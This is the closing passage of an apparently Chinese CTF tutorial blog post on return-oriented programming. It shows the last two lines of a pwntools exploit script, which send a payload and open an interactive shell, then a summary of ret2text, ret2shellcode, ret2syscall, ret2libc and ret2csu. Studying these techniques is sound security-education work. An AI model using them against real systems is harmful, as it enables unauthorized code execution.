p.sendafter('Hello, World\n',payload3)
p.interactive()
0x07 总结
ret2XX是根据ROP的gadgets的来源进行分类。
1.ret2text是利用程序本身的gadgets
2.ret2shellcode是利用输入的shellcode
3.ret2syscall是利用syscall的gadgets
4.ret2libc是利用libc当中存在的gadgets
5.ret2csu是程序编译时存在的gadget具有通用性
嗯嗯 好了 今天的w1cky Time就这样结束了 我们下期再见
498
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
